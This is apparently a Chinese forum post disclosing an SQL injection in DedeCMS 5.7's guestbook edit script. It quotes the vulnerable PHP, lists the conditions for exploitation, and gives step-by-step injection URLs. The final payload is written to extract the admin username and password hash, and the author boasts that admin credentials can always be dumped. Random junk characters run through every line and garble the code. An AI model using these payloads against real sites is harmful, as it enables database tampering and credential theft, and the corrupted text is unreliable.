影响版本为5.7
5 w+ H# m" W- a! t: i6 _1 w
: X5 _7 f5 Q5 h, J& H漏洞文件edit.inc.php具体代码:
/ q, w( e* j2 P @" [3 `3 C9 Z$ Y) W, a3 m Y
< ?php . |9 k5 f. I8 `/ S
# l+ A$ I. o; [: g& Y8 M" N4 x6 mif(!defined('DEDEINC')) exit('Request Error!'); ( a: U- N. Y) e k
! O5 A" L8 q8 y/ d8 [8 q " r. W8 n9 V4 A" ~
5 X7 v, Q% h6 z
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
$ y- S4 w; c5 |, p: ~6 U; P& e0 A; l# E0 V+ \! k; u( ]. Q Z
else $GUEST_BOOK_POS = "guestbook.php";
& W! p5 Z( r( F: |# A) H* h& [. l3 }% T/ a* h
9 [ O5 H1 l6 d! }7 B3 W/ Q$ N- h& @! N8 k1 T/ f. R7 V
$id = intval($id);
9 w% d T/ n L
: ]' c8 G V: n F9 V; }if(empty($job)) $job='view'; " u6 E1 W( R; B# `: u
& d# o7 }. W; _3 b. B( ` ! ^2 F7 A+ i' e0 N3 Z8 a
! d3 q2 U4 j& A* S a/ ?
if($job=='del' && $g_isadmin)
K" [# F4 [, V8 g& n
3 x1 e7 C0 u/ {+ w{
+ N% Z1 g- d- a; c/ s
1 D% [5 f- Y& ]+ G$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ! E" |5 b0 K4 F1 e9 D
% r( { F- O- d# f: t/ i
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); % j0 k, h3 P0 N
; Y; i4 D8 G- o; ?1 z' |, s+ F/ T5 f
exit(); 0 h$ v! H+ {* |0 F7 ~5 [# ~: \9 A
! p: e n! d ~7 z: H8 p}
2 H: S! g, k0 d) h) i: c* t6 q2 h! k6 V' y# T+ d
else if($job=='check' && $g_isadmin)
) U+ l/ Q% K* j2 t- x8 Y* q) [9 k- l
9 h0 b- I5 Z1 }9 m{
- w" j& V5 }, P& @% {
7 F5 d$ e7 [9 M: p3 q @$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ( D6 C: ^ y4 D, M( T0 r& F
) W( t) E a: b( n; K0 ~. ?
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); $ @( ?, n2 W2 g2 {( U& R% A2 b
, o/ B! _0 }8 {, n5 ?4 J3 uexit(); . B2 n8 g4 |. V: c- s# w
1 Z) ~) Y0 v/ Z y& v" a/ _: e} : A6 B% T- P" M% t
- f; a% E/ {9 O, C/ \) m, i" P' r* t; ielse if($job=='editok')
' p/ d1 p3 z: l4 W% q$ S K2 A u) c5 {9 T1 y9 U) o! Y+ r( s# G
{ 2 g- b7 }/ G. ^
3 C/ ^8 g" p8 k" A9 F+ G, b. J! c. z
$remsg = trim($remsg); 0 Y- G; l# P1 V. v1 C, l
- O# W% ~& Q) _! fif($remsg!='') 6 h u* j, G; P* X* A
) S9 R$ `* Y/ W{ ; `$ Z: W1 P! `4 A0 D
" R* }# l( @8 r0 w3 U
//管理员回复不过滤HTML By:Errorera blog:errs.cc - |$ L2 v! K G; C4 ~
' {) L& w; o/ rif($g_isadmin)
) {" O% f* p& Z Q7 X, o0 ]) _9 R* H. @+ F) ]
{ - b5 P0 V( q$ U0 b" l/ z+ X
: g" c$ d9 p+ j L- `/ m
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
. c" V+ Q1 P' Z3 c' T: s# D: o$ T" ]3 Q+ v2 {/ }4 n
//$remsg <br /><font color=red>管理员回复:</font> }
* I2 A4 I) k. M' T# J& E$ a
. Y7 A: T2 y3 Melse 9 D- p0 \* h) f6 r, Z
2 a+ A# n" _& G: C6 [+ J
{
7 f8 T- b# G3 v9 S o- S4 q5 @) U9 k. x% v# N
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); $ p+ Z. Y4 Z4 ~9 E+ S8 O- x
4 q: s8 C* g& t
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
" u! p/ r* W. V7 p- r$ V8 z I- r$ ^, y/ o5 W
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 9 O4 P6 T3 Y( X/ _9 k7 u( S
2 t: w+ d: J! w9 x$ q% A7 y
$msg = $oldmsg.$remsg;
( a d; x, l5 n( v" k2 V. K
8 }0 |# j, T% i}
N. l% c$ e. k1 x- q# ?: s3 s5 ]- I# L- ?9 `& F
} ) Z9 b( b; P. O3 C# q, Q" Q `+ I
) l" W! f& V6 o+ L" ^, R# C
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
7 f# N( M8 ]' A8 {& R( L0 s0 `; j. @. F; X: v
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
+ c9 \3 Z3 p$ K( }' P, G0 |
- i. @1 D( l0 |; D( C% z! JShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ' \' }. Z# D. c
. l8 `) l5 k* c3 q1 F/ K w+ Kexit();
7 [, f1 e) U8 S. j
4 J& ]6 a) f+ `: y. g6 u" U: \} ; g3 g0 n: ]. m/ B
/ T4 l3 }% Y$ u//home:www.errs.cc # p5 l5 L |4 Z8 i* \' X: C
& l7 G: H/ a' R( u) C; dif($g_isadmin)
7 [% z9 y3 q0 l Y9 u" b4 c
2 \6 |" l' e* c{
, v6 B) P c, E, b; u7 e
5 K$ H6 D% j; D F2 x$ y$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); - B6 h* C* c( S4 {2 l% C2 m
9 W- d; |) ~1 D; l8 m2 s! lrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); + `/ R2 q- z" s; p
7 @, x c) J8 w' e} 8 r% u6 R* A- w; t2 n6 y
; y& Q0 H( e$ }. B' h4 Relse ) x0 |1 j" e9 a& z8 c7 X% n7 D# E
8 \( R. ~# n+ T2 f, X6 C+ n0 Z
{ & N, Y n( o( K2 ]# f
5 f6 d9 X i6 Q5 Q$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
2 V8 Z# O, S" O C8 d& U8 W/ T# U9 t3 K' A/ g9 z. |+ h9 o
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
c( q" `6 V% h& ~; K) J" R; U6 _3 V- I, Q5 N4 Q
} 漏洞成功需要条件:
/ P( h$ U9 l" z1 s* U' s1. php magic_quotes_gpc=off* o5 d! a( z* s& O
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 \" p2 I2 ^, N9 p0 X1 N8 M+ a, p
+ [: z7 }5 V" Y7 A) e; [4 \怎么判断是否存在漏洞:
- o& v s8 w$ ~先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
) P6 \6 p- q! Q) ?" c然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
2 E* p0 g# c, p' d) J( A访问:
0 t5 U7 l" O0 X9 k* E& z& x( t3 ~! u- ? k- O: a
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了4 M) b- s$ L1 ^3 Z, x" ]
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
% `6 k" }) a2 _. ]! R1 R r' S ^3 | g& g7 p {8 X0 C' u8 N* E; Y) [
X' x6 k3 u+ {
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off) ], p' [2 V- u$ l5 M8 l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。( b" `) p7 L& `- H
那么再次访问) R- R3 r, l( q. P* }
. T0 `2 l# F' E2 ]! [ C; l. M, C
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
* ?& [3 |* e( \2 N9 N1 ?) ]; {! c& n/ K
大概利用就是这样,大家有兴趣的多研究下!!
* m0 }0 ]: B# Y0 f( i" d0 ?2 j j# [6 `
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ h4 w/ g8 y9 m8 y- S0 [; t n# t8 h8 {
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |